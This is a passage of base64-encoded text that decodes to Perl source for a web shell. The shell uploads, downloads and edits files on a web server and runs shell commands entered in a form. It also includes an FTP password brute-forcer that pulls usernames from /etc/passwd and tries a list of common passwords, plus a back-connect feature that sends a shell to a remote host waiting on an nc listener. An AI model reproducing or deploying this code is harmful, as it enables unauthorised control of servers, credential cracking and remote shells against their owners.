Jlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48